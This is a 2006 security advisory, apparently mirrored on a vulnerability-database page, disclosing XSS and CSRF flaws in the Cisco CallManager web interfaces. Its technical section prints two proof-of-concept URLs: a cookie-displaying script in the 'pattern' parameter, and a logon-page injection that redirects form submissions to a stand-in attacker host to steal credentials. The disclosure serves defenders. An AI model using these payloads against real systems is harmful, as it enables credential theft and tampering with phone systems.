Lucene search
K

ciscoCall.txt

🗓️ 27 Jun 2006 00:00:00Reported by Jake ReynoldsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Cisco CallManager Vulnerability (07/19/2006) - XSS, CSRF, Thef

Code
`I. SYNOPSIS  
  
Release Date: 07/19/2006  
  
Affected Application: Cisco CallManager 3.1 and up (versions prior to 3.1 were not tested but may  
still be vulnerable)  
  
Severity If Exploited: High  
  
Impact: Arbitrary configuration of phone system/Theft of individual phone users' credentials  
  
Mitigating Factors: Requires user action (following a link, visiting a resource with an embedded  
redirect)  
  
Initial Notification of Vendor: 10/24/2005  
  
Discovery: Jake Reynolds, Senior Security Engineer -- FishNet Security  
  
Contributions: Arian Evans, Senior Security Engineer - FishNet Security  
  
Permanent Advisory Location:  
http://www.fishnetsecurity.com/csirt/disclosure/cisco/Cisco+CallManager+XSS+Advisory.htm  
  
II. EXECUTIVE SUMMARY  
  
Vulnerability Overview:  
  
The web interface used to administer Cisco CallManager software suffers from a lack of input  
validation and output encoding. As a result, an attacker could craft a request that causes the  
CallManager web interface to include malicious JavaScript in its response. If a victim can be made to  
submit this specially crafted request, the response will be processed, and the malicious JavaScript  
payload executed in the browser of the victim.  
  
Attack Overview:   
  
If such a request is provided to CallManager administrators (either in an email or embedded in an html  
resource using something like an automatic redirect) an attacker can perform a variety of nefarious  
actions. Depending on the scripted payload, these attacks are commonly referred to as cross-site  
scripting (XSS), session riding, and cross-site request forgery (CSRF). Potential threats that can be  
realized through these vulnerabilities could include but are not limited to:  
  
* Deletion of phone system components such as devices, partitions, calling search spaces, etc  
  
* Reconfiguration of phone system components such as route plans, global directory, services, etc  
  
* Theft of global directory user credentials  
  
* Theft of "Cisco CallManager User Options" credentials or session token leading to user identity  
spoofing within that specific interface of CallManager (Utilization of the stolen credentials or  
session tokens would require direct connectivity to CallManager.)  
  
III. TECHNICAL DETAIL  
  
Vulnerability Details:   
The web interfaces used to administer Cisco CallManager exhibit input validation/output encoding  
vulnerabilities throughout the applications. Specifically, the "Cisco CallManager Administration" and  
"Cisco CallManager User Options" interfaces contain multiple instances of these vulnerabilities. This  
advisory will focus on a subset of those vulnerabilities that allow attack execution from an  
unauthenticated perspective. Not all vulnerability instances will be included.  
  
The "Cisco CallManager Administration" (http://CallManagerAddress/ccmadmin/) web interface contains  
parameters that have their user-supplied input returned in subsequent responses without being properly  
encoded. Although this interface requires basic authentication before access to the vulnerable  
parameters is granted, the original request will be sent to the server after successful  
authentication. Thus, reflected script injection is possible if the attacker can lure a CallManager  
administrator into entering their credentials upon being presented with the basic authentication box.  
The URL below takes advantage of the vulnerable "pattern" parameter that returns user-supplied input  
at several points within the subsequent responses.  
  
http://CallManagerAddress/ccmadmin/phonelist.asp?findBy=description&match=begins&pattern=<script>alert  
(document.cookie)</script>&submit1=Find&rows=20&wildcards=on&utilityList=  
  
A simple proof of concept script has been written that utilizes XMLHTTP to search for devices and  
delete them from the CallManager configuration. Prior knowledge of the CallManager configuration would  
allow for more savvy attacks that could intelligently reconfigure the phone system.  
  
The "Cisco CallManager User Options" (http://CallManagerAddress/ccmuser/) web interface also contains  
vulnerable parameters. Most notably, arbitrary parameters included in requests to /ccmuser/logon.asp  
are returned by the application without proper input validation or output encoding. The URL below  
takes advantage of this behavior by appending the parameter "MadeUpParameter", escaping the form  
included in the response, and rewriting all form actions to point to an attacker site that collects  
all input. The application seems to remove the '+' character used to post-increment the loop counter  
so URL hex encoding (%2B) was used to obfuscate it.  
  
http://CallManagerAddress/ccmuser/logon.asp?userID=&password=&MadeUpParameter="><script>for (i=0;  
i<document.forms.length; i%2B%2B)  
document.forms[i].action="http://www.attackersite.com/stealstuff.cgi";</script><!--  
  
By luring phone system users into making the above request and logging in, an attacker can steal their  
credentials.  
  
IV. MITIGATING FACTORS  
  
Prerequisites: In all cases, there is some prerequisite information that an attacker must have. The  
address of the CallManager is obviously a necessity in order to correctly craft malicious requests.  
This could be easily gained internally by viewing the network configuration on the IP phones that  
register with the targeted CallManager unless the display of this information has been disabled.  
Social engineering could allow an attacker to gain this information from inside or outside of the  
organization. It is important to note that while the address of the target CallManager is required,  
the attacker does not require connectivity. Reflected script injection attacks only require that the  
victim has connectivity to the vulnerable application, since the victim is the entity that makes the  
malicious request, causing unwanted execution of the script included in the vulnerable server's  
response.  
  
Any intelligent reconfiguration of Cisco CallManager using CSRF attacks as mentioned above would  
require knowledge of the current CallManager configuration. However, a significant amount of damage  
could be inflicted by an XMLHTTP-based script that searches for and deletes all devices without prior  
knowledge of the current CallManager configuration.  
  
Exploitation of the "Call Manager User Options" logon page does not require connectivity to the target  
CallManager. However, the use of stolen credentials gained through such an attack would require  
connectivity to a system that utilizes them. This system, in many cases might only be the CallManager  
itself. However, in the case of CallManager integration with another directory such as iPlanet or  
Active directory, credential theft could lead to an attacker gaining access to many other services.  
  
V. RECOMMENDED ACTIONS  
  
Technical Workarounds:  
  
* Upgrade Software When Fixes Become Available - Cisco has stated that future releases of all trains  
of Cisco CallManager will contain fixes for these vulnerabilities.  
  
* Restrict Network Connectivity to CallManager Interfaces - During discovery, it was noted that  
several organizations had their CallManager administration interfaces exposed to the Internet. Simple  
Google queries are all an attacker needs in this case to obtain the target CallManager address. There  
are few compelling reasons one could present that would justify public access to CallManager web  
interfaces.  
  
* Treat Sensitive/Critical Interfaces as Sensitive & Critical - Information about the specifics of the  
CallManager configuration should be kept confidential. Access to the various CallManager interfaces  
should be as restrictive as possible. Although these attacks do not require an attacker to have  
connectivity to the vulnerable application, restriction of this access still serves to limit attack  
vectors by limiting the amount of potential victims.  
  
Nontechnical Workarounds:  
  
* Education & Awareness of User Luring Attack Vector - Educate all users about the risks of social  
engineering attacks. Users should be aware of the triviality of spoofing emails, caller ID, and other  
types of information.  
  
VI. CONTACT  
  
You can reach the author of this advisory by emailing jake[dot]reynolds[at]fishnetsecurity.com  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation